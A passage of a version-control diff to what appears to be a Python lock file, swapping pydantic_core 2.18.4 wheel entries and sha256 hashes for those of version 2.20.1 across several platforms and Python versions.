"sha256:6891a2ae0e8692679c07728819b6e2b822fb30ca7445f67bbf6509b25a96332c"}, - {file = "pydantic_core-2.18.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:bc4ff9805858bd54d1a20efff925ccd89c9d2e7cf4986144b30802bf78091c3e"}, - {file = "pydantic_core-2.18.4-cp310-none-win32.whl", hash = "sha256:1b4de2e51bbcb61fdebd0ab86ef28062704f62c82bbf4addc4e37fa4b00b7cbc"}, - {file = "pydantic_core-2.18.4-cp310-none-win_amd64.whl", hash = "sha256:6a750aec7bf431517a9fd78cb93c97b9b0c496090fee84a47a0d23668976b4b0"}, - {file = "pydantic_core-2.18.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:942ba11e7dfb66dc70f9ae66b33452f51ac7bb90676da39a7345e99ffb55402d"}, - {file = "pydantic_core-2.18.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b2ebef0e0b4454320274f5e83a41844c63438fdc874ea40a8b5b4ecb7693f1c4"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a642295cd0c8df1b86fc3dced1d067874c353a188dc8e0f744626d49e9aa51c4"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5f09baa656c904807e832cf9cce799c6460c450c4ad80803517032da0cd062e2"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:98906207f29bc2c459ff64fa007afd10a8c8ac080f7e4d5beff4c97086a3dabd"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:19894b95aacfa98e7cb093cd7881a0c76f55731efad31073db4521e2b6ff5b7d"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fbbdc827fe5e42e4d196c746b890b3d72876bdbf160b0eafe9f0334525119c8"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f85d05aa0918283cf29a30b547b4df2fbb56b45b135f9e35b6807cb28bc47951"}, - {file = "pydantic_core-2.18.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e85637bc8fe81ddb73fda9e56bab24560bdddfa98aa64f87aaa4e4b6730c23d2"}, - {file = "pydantic_core-2.18.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:2f5966897e5461f818e136b8451d0551a2e77259eb0f73a837027b47dc95dab9"}, - {file = "pydantic_core-2.18.4-cp311-none-win32.whl", hash = "sha256:44c7486a4228413c317952e9d89598bcdfb06399735e49e0f8df643e1ccd0558"}, - {file = "pydantic_core-2.18.4-cp311-none-win_amd64.whl", hash = "sha256:8a7164fe2005d03c64fd3b85649891cd4953a8de53107940bf272500ba8a788b"}, - {file = "pydantic_core-2.18.4-cp311-none-win_arm64.whl", hash = "sha256:4e99bc050fe65c450344421017f98298a97cefc18c53bb2f7b3531eb39bc7805"}, - {file = "pydantic_core-2.18.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:6f5c4d41b2771c730ea1c34e458e781b18cc668d194958e0112455fff4e402b2"}, - {file = "pydantic_core-2.18.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2fdf2156aa3d017fddf8aea5adfba9f777db1d6022d392b682d2a8329e087cef"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4748321b5078216070b151d5271ef3e7cc905ab170bbfd27d5c83ee3ec436695"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:847a35c4d58721c5dc3dba599878ebbdfd96784f3fb8bb2c356e123bdcd73f34"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3c40d4eaad41f78e3bbda31b89edc46a3f3dc6e171bf0ecf097ff7a0ffff7cb1"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:21a5e440dbe315ab9825fcd459b8814bb92b27c974cbc23c3e8baa2b76890077"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:01dd777215e2aa86dfd664daed5957704b769e726626393438f9c87690ce78c3"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4b06beb3b3f1479d32befd1f3079cc47b34fa2da62457cdf6c963393340b56e9"}, - {file = "pydantic_core-2.18.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:564d7922e4b13a16b98772441879fcdcbe82ff50daa622d681dd682175ea918c"}, - {file = "pydantic_core-2.18.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:0eb2a4f660fcd8e2b1c90ad566db2b98d7f3f4717c64fe0a83e0adb39766d5b8"}, - {file = "pydantic_core-2.18.4-cp312-none-win32.whl", hash = "sha256:8b8bab4c97248095ae0c4455b5a1cd1cdd96e4e4769306ab19dda135ea4cdb07"}, - {file = "pydantic_core-2.18.4-cp312-none-win_amd64.whl", hash = "sha256:14601cdb733d741b8958224030e2bfe21a4a881fb3dd6fbb21f071cabd48fa0a"}, - {file = "pydantic_core-2.18.4-cp312-none-win_arm64.whl", hash = "sha256:c1322d7dd74713dcc157a2b7898a564ab091ca6c58302d5c7b4c07296e3fd00f"}, - {file = "pydantic_core-2.18.4-cp38-cp38-macosx_10_12_x86_64.whl", hash = "sha256:823be1deb01793da05ecb0484d6c9e20baebb39bd42b5d72636ae9cf8350dbd2"}, - {file = "pydantic_core-2.18.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ebef0dd9bf9b812bf75bda96743f2a6c5734a02092ae7f721c048d156d5fabae"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ae1d6df168efb88d7d522664693607b80b4080be6750c913eefb77e34c12c71a"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f9899c94762343f2cc2fc64c13e7cae4c3cc65cdfc87dd810a31654c9b7358cc"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:99457f184ad90235cfe8461c4d70ab7dd2680e28821c29eca00252ba90308c78"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:18f469a3d2a2fdafe99296a87e8a4c37748b5080a26b806a707f25a902c040a8"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7cdf28938ac6b8b49ae5e92f2735056a7ba99c9b110a474473fd71185c1af5d"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:938cb21650855054dc54dfd9120a851c974f95450f00683399006aa6e8abb057"}, - {file = "pydantic_core-2.18.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:44cd83ab6a51da80fb5adbd9560e26018e2ac7826f9626bc06ca3dc074cd198b"}, - {file = "pydantic_core-2.18.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:972658f4a72d02b8abfa2581d92d59f59897d2e9f7e708fdabe922f9087773af"}, - {file = "pydantic_core-2.18.4-cp38-none-win32.whl", hash = "sha256:1d886dc848e60cb7666f771e406acae54ab279b9f1e4143babc9c2258213daa2"}, - {file = "pydantic_core-2.18.4-cp38-none-win_amd64.whl", hash = "sha256:bb4462bd43c2460774914b8525f79b00f8f407c945d50881568f294c1d9b4443"}, - {file = "pydantic_core-2.18.4-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:44a688331d4a4e2129140a8118479443bd6f1905231138971372fcde37e43528"}, - {file = "pydantic_core-2.18.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a2fdd81edd64342c85ac7cf2753ccae0b79bf2dfa063785503cb85a7d3593223"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:86110d7e1907ab36691f80b33eb2da87d780f4739ae773e5fc83fb272f88825f"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:46387e38bd641b3ee5ce247563b60c5ca098da9c56c75c157a05eaa0933ed154"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:123c3cec203e3f5ac7b000bd82235f1a3eced8665b63d18be751f115588fea30"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dc1803ac5c32ec324c5261c7209e8f8ce88e83254c4e1aebdc8b0a39f9ddb443"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:53db086f9f6ab2b4061958d9c276d1dbe3690e8dd727d6abf2321d6cce37fa94"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:abc267fa9837245cc28ea6929f19fa335f3dc330a35d2e45509b6566dc18be23"}, - {file = "pydantic_core-2.18.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a0d829524aaefdebccb869eed855e2d04c21d2d7479b6cada7ace5448416597b"}, - {file = "pydantic_core-2.18.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:509daade3b8649f80d4e5ff21aa5673e4ebe58590b25fe42fac5f0f52c6f034a"}, - {file = "pydantic_core-2.18.4-cp39-none-win32.whl", hash = "sha256:ca26a1e73c48cfc54c4a76ff78df3727b9d9f4ccc8dbee4ae3f73306a591676d"}, - {file = "pydantic_core-2.18.4-cp39-none-win_amd64.whl", hash = "sha256:c67598100338d5d985db1b3d21f3619ef392e185e71b8d52bceacc4a7771ea7e"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:574d92eac874f7f4db0ca653514d823a0d22e2354359d0759e3f6a406db5d55d"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1f4d26ceb5eb9eed4af91bebeae4b06c3fb28966ca3a8fb765208cf6b51102ab"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77450e6d20016ec41f43ca4a6c63e9fdde03f0ae3fe90e7c27bdbeaece8b1ed4"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d323a01da91851a4f17bf592faf46149c9169d68430b3146dcba2bb5e5719abc"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:43d447dd2ae072a0065389092a231283f62d960030ecd27565672bd40746c507"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:578e24f761f3b425834f297b9935e1ce2e30f51400964ce4801002435a1b41ef"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:81b5efb2f126454586d0f40c4d834010979cb80785173d1586df845a632e4e6d"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ab86ce7c8f9bea87b9d12c7f0af71102acbf5ecbc66c17796cff45dae54ef9a5"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:90afc12421df2b1b4dcc975f814e21bc1754640d502a2fbcc6d41e77af5ec312"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:51991a89639a912c17bef4b45c87bd83593aee0437d8102556af4885811d59f5"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:293afe532740370aba8c060882f7d26cfd00c94cae32fd2e212a3a6e3b7bc15e"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b48ece5bde2e768197a2d0f6e925f9d7e3e826f0ad2271120f8144a9db18d5c8"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:eae237477a873ab46e8dd748e515c72c0c804fb380fbe6c85533c7de51f23a8f"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:834b5230b5dfc0c1ec37b2fda433b271cbbc0e507560b5d1588e2cc1148cf1ce"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:e858ac0a25074ba4bce653f9b5d0a85b7456eaddadc0ce82d3878c22489fa4ee"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2fd41f6eff4c20778d717af1cc50eca52f5afe7805ee530a4fbd0bae284f16e9"}, - {file = "pydantic_core-2.18.4.tar.gz", hash = "sha256:ec3beeada09ff865c344ff3bc2f427f5e6c26401cc6113d77e372c3fdac73864"}, + {file = "pydantic_core-2.20.1-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:3acae97ffd19bf091c72df4d726d552c473f3576409b2a7ca36b2f535ffff4a3"}, + {file = "pydantic_core-2.20.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:41f4c96227a67a013e7de5ff8f20fb496ce573893b7f4f2707d065907bffdbd6"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f239eb799a2081495ea659d8d4a43a8f42cd1fe9ff2e7e436295c38a10c286a"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:53e431da3fc53360db73eedf6f7124d1076e1b4ee4276b36fb25514544ceb4a3"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f1f62b2413c3a0e846c3b838b2ecd6c7a19ec6793b2a522745b0869e37ab5bc1"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5d41e6daee2813ecceea8eda38062d69e280b39df793f5a942fa515b8ed67953"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3d482efec8b7dc6bfaedc0f166b2ce349df0011f5d2f1f25537ced4cfc34fd98"}, + {file = "pydantic_core-2.20.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:e93e1a4b4b33daed65d781a57a522ff153dcf748dee70b40c7258c5861e1768a"}, + {file = "pydantic_core-2.20.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e7c4ea22b6739b162c9ecaaa41d718dfad48a244909fe7ef4b54c0b530effc5a"}, + {file = "pydantic_core-2.20.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:4f2790949cf385d985a31984907fecb3896999329103df4e4983a4a41e13e840"}, + {file = "pydantic_core-2.20.1-cp310-none-win32.whl", hash = "sha256:5e999ba8dd90e93d57410c5e67ebb67ffcaadcea0ad973240fdfd3a135506250"}, + {file = "pydantic_core-2.20.1-cp310-none-win_amd64.whl", hash = "sha256:512ecfbefef6dac7bc5eaaf46177b2de58cdf7acac8793fe033b24ece0b9566c"}, + {file = "pydantic_core-2.20.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:d2a8fa9d6d6f891f3deec72f5cc668e6f66b188ab14bb1ab52422fe8e644f312"}, + {file = "pydantic_core-2.20.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:175873691124f3d0da55aeea1d90660a6ea7a3cfea137c38afa0a5ffabe37b88"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:37eee5b638f0e0dcd18d21f59b679686bbd18917b87db0193ae36f9c23c355fc"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:25e9185e2d06c16ee438ed39bf62935ec436474a6ac4f9358524220f1b236e43"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:150906b40ff188a3260cbee25380e7494ee85048584998c1e66df0c7a11c17a6"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ad4aeb3e9a97286573c03df758fc7627aecdd02f1da04516a86dc159bf70121"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d3f3ed29cd9f978c604708511a1f9c2fdcb6c38b9aae36a51905b8811ee5cbf1"}, + {file = "pydantic_core-2.20.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b0dae11d8f5ded51699c74d9548dcc5938e0804cc8298ec0aa0da95c21fff57b"}, + {file = "pydantic_core-2.20.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:faa6b09ee09433b87992fb5a2859efd1c264ddc37280d2dd5db502126d0e7f27"}, + {file = "pydantic_core-2.20.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9dc1b507c12eb0481d071f3c1808f0529ad41dc415d0ca11f7ebfc666e66a18b"}, + {file = "pydantic_core-2.20.1-cp311-none-win32.whl", hash = "sha256:fa2fddcb7107e0d1808086ca306dcade7df60a13a6c347a7acf1ec139aa6789a"}, + {file = "pydantic_core-2.20.1-cp311-none-win_amd64.whl", hash = "sha256:40a783fb7ee353c50bd3853e626f15677ea527ae556429453685ae32280c19c2"}, + {file = "pydantic_core-2.20.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:595ba5be69b35777474fa07f80fc260ea71255656191adb22a8c53aba4479231"}, + {file = "pydantic_core-2.20.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a4f55095ad087474999ee28d3398bae183a66be4823f753cd7d67dd0153427c9"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f9aa05d09ecf4c75157197f27cdc9cfaeb7c5f15021c6373932bf3e124af029f"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e97fdf088d4b31ff4ba35db26d9cc472ac7ef4a2ff2badeabf8d727b3377fc52"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bc633a9fe1eb87e250b5c57d389cf28998e4292336926b0b6cdaee353f89a237"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d573faf8eb7e6b1cbbcb4f5b247c60ca8be39fe2c674495df0eb4318303137fe"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:26dc97754b57d2fd00ac2b24dfa341abffc380b823211994c4efac7f13b9e90e"}, + {file = "pydantic_core-2.20.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:33499e85e739a4b60c9dac710c20a08dc73cb3240c9a0e22325e671b27b70d24"}, + {file = "pydantic_core-2.20.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:bebb4d6715c814597f85297c332297c6ce81e29436125ca59d1159b07f423eb1"}, + {file = "pydantic_core-2.20.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:516d9227919612425c8ef1c9b869bbbee249bc91912c8aaffb66116c0b447ebd"}, + {file = "pydantic_core-2.20.1-cp312-none-win32.whl", hash = "sha256:469f29f9093c9d834432034d33f5fe45699e664f12a13bf38c04967ce233d688"}, + {file = "pydantic_core-2.20.1-cp312-none-win_amd64.whl", hash = "sha256:035ede2e16da7281041f0e626459bcae33ed998cca6a0a007a5ebb73414ac72d"}, + {file = "pydantic_core-2.20.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:0827505a5c87e8aa285dc31e9ec7f4a17c81a813d45f70b1d9164e03a813a686"}, + {file = "pydantic_core-2.20.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:19c0fa39fa154e7e0b7f82f88ef85faa2a4c23cc65aae2f5aea625e3c13c735a"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa223cd1e36b642092c326d694d8bf59b71ddddc94cdb752bbbb1c5c91d833b"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c336a6d235522a62fef872c6295a42ecb0c4e1d0f1a3e500fe949415761b8a19"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7eb6a0587eded33aeefea9f916899d42b1799b7b14b8f8ff2753c0ac1741edac"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:70c8daf4faca8da5a6d655f9af86faf6ec2e1768f4b8b9d0226c02f3d6209703"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e9fa4c9bf273ca41f940bceb86922a7667cd5bf90e95dbb157cbb8441008482c"}, + {file = "pydantic_core-2.20.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:11b71d67b4725e7e2a9f6e9c0ac1239bbc0c48cce3dc59f98635efc57d6dac83"}, + {file = "pydantic_core-2.20.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:270755f15174fb983890c49881e93f8f1b80f0b5e3a3cc1394a255706cabd203"}, + {file = "pydantic_core-2.20.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:c81131869240e3e568916ef4c307f8b99583efaa60a8112ef27a366eefba8ef0"}, + {file = "pydantic_core-2.20.1-cp313-none-win32.whl", hash = "sha256:b91ced227c41aa29c672814f50dbb05ec93536abf8f43cd14ec9521ea09afe4e"}, + {file = "pydantic_core-2.20.1-cp313-none-win_amd64.whl", hash = "sha256:65db0f2eefcaad1a3950f498aabb4875c8890438bc80b19362cf633b87a8ab20"}, + {file = "pydantic_core-2.20.1-cp38-cp38-macosx_10_12_x86_64.whl", hash = "sha256:4745f4ac52cc6686390c40eaa01d48b18997cb130833154801a442323cc78f91"}, + {file = "pydantic_core-2.20.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a8ad4c766d3f33ba8fd692f9aa297c9058970530a32c728a2c4bfd2616d3358b"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41e81317dd6a0127cabce83c0c9c3fbecceae981c8391e6f1dec88a77c8a569a"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:04024d270cf63f586ad41fff13fde4311c4fc13ea74676962c876d9577bcc78f"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eaad4ff2de1c3823fddf82f41121bdf453d922e9a238642b1dedb33c4e4f98ad"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:26ab812fa0c845df815e506be30337e2df27e88399b985d0bb4e3ecfe72df31c"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3c5ebac750d9d5f2706654c638c041635c385596caf68f81342011ddfa1e5598"}, + {file = "pydantic_core-2.20.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2aafc5a503855ea5885559eae883978c9b6d8c8993d67766ee73d82e841300dd"}, + {file = "pydantic_core-2.20.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:4868f6bd7c9d98904b748a2653031fc9c2f85b6237009d475b1008bfaeb0a5aa"}, + {file = "pydantic_core-2.20.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:aa2f457b4af386254372dfa78a2eda2563680d982422641a85f271c859df1987"}, + {file = "pydantic_core-2.20.1-cp38-none-win32.whl", hash = "sha256:225b67a1f6d602de0ce7f6c1c3ae89a4aa25d3de9be857999e9124f15dab486a"}, + {file = "pydantic_core-2.20.1-cp38-none-win_amd64.whl", hash = "sha256:6b507132dcfc0dea440cce23ee2182c0ce7aba7054576efc65634f080dbe9434"}, + {file = "pydantic_core-2.20.1-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:b03f7941783b4c4a26051846dea594628b38f6940a2fdc0df00b221aed39314c"}, + {file = "pydantic_core-2.20.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1eedfeb6089ed3fad42e81a67755846ad4dcc14d73698c120a82e4ccf0f1f9f6"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:635fee4e041ab9c479e31edda27fcf966ea9614fff1317e280d99eb3e5ab6fe2"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:77bf3ac639c1ff567ae3b47f8d4cc3dc20f9966a2a6dd2311dcc055d3d04fb8a"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7ed1b0132f24beeec5a78b67d9388656d03e6a7c837394f99257e2d55b461611"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c6514f963b023aeee506678a1cf821fe31159b925c4b76fe2afa94cc70b3222b"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10d4204d8ca33146e761c79f83cc861df20e7ae9f6487ca290a97702daf56006"}, + {file = "pydantic_core-2.20.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2d036c7187b9422ae5b262badb87a20a49eb6c5238b2004e96d4da1231badef1"}, + {file = "pydantic_core-2.20.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9ebfef07dbe1d93efb94b4700f2d278494e9162565a54f124c404a5656d7ff09"}, + {file = "pydantic_core-2.20.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:6b9d9bb600328a1ce523ab4f454859e9d439150abb0906c5a1983c146580ebab"}, + {file = "pydantic_core-2.20.1-cp39-none-win32.whl", hash = "sha256:784c1214cb6dd1e3b15dd8b91b9a53852aed16671cc3fbe4786f4f1db07089e2"}, + {file = "pydantic_core-2.20.1-cp39-none-win_amd64.whl", hash = "sha256:d2fe69c5434391727efa54b47a1e7986bb0186e72a41b203df8f5b0a19a4f669"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:a45f84b09ac9c3d35dfcf6a27fd0634d30d183205230a0ebe8373a0e8cfa0906"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:d02a72df14dfdbaf228424573a07af10637bd490f0901cee872c4f434a735b94"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d2b27e6af28f07e2f195552b37d7d66b150adbaa39a6d327766ffd695799780f"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:084659fac3c83fd674596612aeff6041a18402f1e1bc19ca39e417d554468482"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:242b8feb3c493ab78be289c034a1f659e8826e2233786e36f2893a950a719bb6"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:38cf1c40a921d05c5edc61a785c0ddb4bed67827069f535d794ce6bcded919fc"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:e0bbdd76ce9aa5d4209d65f2b27fc6e5ef1312ae6c5333c26db3f5ade53a1e99"}, + {file = "pydantic_core-2.20.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:254ec27fdb5b1ee60684f91683be95e5133c994cc54e86a0b0963afa25c8f8a6"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash 